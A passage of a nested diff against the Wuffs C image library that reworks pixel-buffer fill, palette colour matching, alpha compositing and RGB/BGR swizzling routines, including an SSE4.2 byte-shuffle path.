1; ++ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { ++ // TODO: support planar formats. ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +- return len; +-} ++ switch (pb->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx(pb, rect, ++ color); ++ return wuffs_base__make_status(NULL); + +-// -------- ++ // Common formats above. Rarer formats below. + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); ++ return wuffs_base__make_status(NULL); + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxx(pb, rect, ++ color); ++ return wuffs_base__make_status(NULL); + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ color)); ++ return wuffs_base__make_status(NULL); + +- return len; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( ++ color)); ++ return wuffs_base__make_status(NULL); + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_private_impl__swap_u32_argb_abgr(color))); ++ return wuffs_base__make_status(NULL); + +- size_t n = len; +- while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__color_u64__as__color_u32( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ pb, rect, wuffs_private_impl__swap_u32_argb_abgr(color)); ++ return wuffs_base__make_status(NULL); ++ } + +- s += 1 * 8; +- d += 1 * 4; +- n -= 1; ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint32_t x; ++ for (x = rect.min_incl_x; x < rect.max_excl_x; x++) { ++ wuffs_base__pixel_buffer__set_color_u32_at(pb, x, y, color); ++ } + } +- return len; ++ return wuffs_base__make_status(NULL); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0))); ++// -------- + +- s += 1 * 8; +- d += 1 * 4; +- n -= 1; ++WUFFS_BASE__MAYBE_STATIC uint8_t // ++wuffs_base__pixel_palette__closest_element( ++ wuffs_base__slice_u8 palette_slice, ++ wuffs_base__pixel_format palette_format, ++ wuffs_base__color_u32_argb_premul c) { ++ size_t n = palette_slice.len / 4; ++ if (n > (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ n = (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4); + } ++ size_t best_index = 0; ++ uint64_t best_score = 0xFFFFFFFFFFFFFFFF; + +- return len; +-} +- +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Work in 16-bit color. ++ uint32_t ca = 0x101 * (0xFF & (c >> 24)); ++ uint32_t cr = 0x101 * (0xFF & (c >> 16)); ++ uint32_t cg = 0x101 * (0xFF & (c >> 8)); ++ uint32_t cb = 0x101 * (0xFF & (c >> 0)); + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); ++ switch (palette_format.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { ++ bool nonpremul = palette_format.repr == ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ size_t i; ++ for (i = 0; i < n; i++) { ++ // Work in 16-bit color. ++ uint32_t pb = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 0])); ++ uint32_t pg = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 1])); ++ uint32_t pr = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 2])); ++ uint32_t pa = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 3])); ++ ++ // Convert to premultiplied alpha. ++ if (nonpremul && (pa != 0xFFFF)) { ++ pb = (pb * pa) / 0xFFFF; ++ pg = (pg * pa) / 0xFFFF; ++ pr = (pr * pa) / 0xFFFF; ++ } ++ ++ // These deltas are conceptually int32_t (signed) but after squaring, ++ // it's equivalent to work in uint32_t (unsigned). ++ pb -= cb; ++ pg -= cg; ++ pr -= cr; ++ pa -= ca; ++ uint64_t score = ((uint64_t)(pb * pb)) + ((uint64_t)(pg * pg)) + ++ ((uint64_t)(pr * pr)) + ((uint64_t)(pa * pa)); ++ if (best_score > score) { ++ best_score = score; ++ best_index = i; ++ } ++ } ++ break; ++ } + } + +- return len; ++ return (uint8_t)best_index; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_nonpremul_premul_u32_axxx(d0, s0)); ++static inline uint32_t // ++wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx( ++ uint32_t dst_nonpremul, ++ uint32_t src_nonpremul) { ++ // Extract 16-bit color components. ++ // ++ // If the destination is transparent then SRC_OVER is equivalent to SRC: just ++ // return src_nonpremul. This isn't just an optimization (skipping the rest ++ // of the function's computation). It also preserves the nonpremul ++ // distinction between e.g. transparent red and transparent blue that would ++ // otherwise be lost by converting from nonpremul to premul and back. ++ uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); ++ if (da == 0) { ++ return src_nonpremul; ++ } ++ uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; ++static inline uint64_t // ++wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx( ++ uint64_t dst_nonpremul, ++ uint64_t src_nonpremul) { ++ // Extract components. ++ // ++ // If the destination is transparent then SRC_OVER is equivalent to SRC: just ++ // return src_nonpremul. This isn't just an optimization (skipping the rest ++ // of the function's computation). It also preserves the nonpremul ++ // distinction between e.g. transparent red and transparent blue that would ++ // otherwise be lost by converting from nonpremul to premul and back. ++ uint64_t da = 0xFFFF & (dst_nonpremul >> 48); ++ if (da == 0) { ++ return src_nonpremul; + } +- size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); ++ uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); ++ uint64_t db = 0xFFFF & (dst_nonpremul >> 0); ++ uint64_t sa = 0xFFFF & (src_nonpremul >> 48); ++ uint64_t sr = 0xFFFF & (src_nonpremul >> 32); ++ uint64_t sg = 0xFFFF & (src_nonpremul >> 16); ++ uint64_t sb = 0xFFFF & (src_nonpremul >> 0); + +- // TODO: unroll. ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint64_t ia = 0xFFFF - sa; + +- s += 1 * 1; +- d += 1 * 4; +- n -= 1; ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Combine components. ++ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint32_t // ++wuffs_private_impl__composite_nonpremul_premul_u32_axxx(uint32_t dst_nonpremul, ++ uint32_t src_premul) { ++ // Extract 16-bit color components. ++ uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); ++ uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint64_t // ++wuffs_private_impl__composite_nonpremul_premul_u64_axxx(uint64_t dst_nonpremul, ++ uint64_t src_premul) { ++ // Extract components. ++ uint64_t da = 0xFFFF & (dst_nonpremul >> 48); ++ uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); ++ uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); ++ uint64_t db = 0xFFFF & (dst_nonpremul >> 0); ++ uint64_t sa = 0xFFFF & (src_premul >> 48); ++ uint64_t sr = 0xFFFF & (src_premul >> 32); ++ uint64_t sg = 0xFFFF & (src_premul >> 16); ++ uint64_t sb = 0xFFFF & (src_premul >> 0); + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint64_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Combine components. ++ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint32_t // ++wuffs_private_impl__composite_premul_nonpremul_u32_axxx( ++ uint32_t dst_premul, ++ uint32_t src_nonpremul) { ++ // Extract 16-bit color components. ++ uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); ++ uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_nonpremul_premul_u32_axxx(d0, s0)); ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; +- } ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; + +- return len; ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); ++} ++ ++static inline uint64_t // ++wuffs_private_impl__composite_premul_nonpremul_u64_axxx( ++ uint64_t dst_premul, ++ uint64_t src_nonpremul) { ++ // Extract components. ++ uint64_t da = 0xFFFF & (dst_premul >> 48); ++ uint64_t dr = 0xFFFF & (dst_premul >> 32); ++ uint64_t dg = 0xFFFF & (dst_premul >> 16); ++ uint64_t db = 0xFFFF & (dst_premul >> 0); ++ uint64_t sa = 0xFFFF & (src_nonpremul >> 48); ++ uint64_t sr = 0xFFFF & (src_nonpremul >> 32); ++ uint64_t sg = 0xFFFF & (src_nonpremul >> 16); ++ uint64_t sb = 0xFFFF & (src_nonpremul >> 0); ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint64_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Combine components. ++ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); ++} ++ ++static inline uint32_t // ++wuffs_private_impl__composite_premul_premul_u32_axxx(uint32_t dst_premul, ++ uint32_t src_premul) { ++ // Extract 16-bit color components. ++ uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); ++ uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); + } + + // -------- + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_squash_align4_bgr_565_8888(uint8_t* dst_ptr, ++ size_t dst_len, ++ const uint8_t* src_ptr, ++ size_t src_len, ++ bool nonpremul) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + + size_t n = len; +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s1; +- d[3] = s1; +- d[4] = s2; +- d[5] = s2; +- d[6] = s3; +- d[7] = s3; +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ while (n--) { ++ uint32_t argb = wuffs_base__peek_u32le__no_bounds_check(s); ++ if (nonpremul) { ++ argb = ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(argb); ++ } ++ uint32_t b5 = 0x1F & (argb >> (8 - 5)); ++ uint32_t g6 = 0x3F & (argb >> (16 - 6)); ++ uint32_t r5 = 0x1F & (argb >> (24 - 5)); ++ uint32_t alpha = argb & 0xFF000000; ++ wuffs_base__poke_u32le__no_bounds_check( ++ d, alpha | (r5 << 11) | (g6 << 5) | (b5 << 0)); ++ s += 4; ++ d += 4; + } + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_swap_rgb_bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 3; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + + size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ while (n--) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s2; ++ d[1] = s1; ++ d[2] = s0; ++ s += 3; ++ d += 3; + } + return len; + } + ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; ++wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- s += 1 * 8; +- d += 1 * 8; +- n -= 1; ++ __m128i shuffle = _mm_set_epi8(+0x0F, +0x0C, +0x0D, +0x0E, // ++ +0x0B, +0x08, +0x09, +0x0A, // ++ +0x07, +0x04, +0x05, +0x06, // ++ +0x03, +0x00, +0x01, +0x02); ++ ++ while (n >= 4) { ++ __m128i x; ++ x = _mm_lddqu_si128((const __m128i*)(const void*)s); ++ x = _mm_shuffle_epi8(x, shuffle); ++ _mm_storeu_si128((__m128i*)(void*)d, x); ++ ++ s += 4 * 4; ++ d += 4 * 4; ++ n -= 4; ++ } ++ ++ while (n--) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s2; ++ d[1] = s1; ++ d[2] = s0; ++ d[3] = s3; ++ s += 4; ++ d += 4; + } + return len; + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src( +- 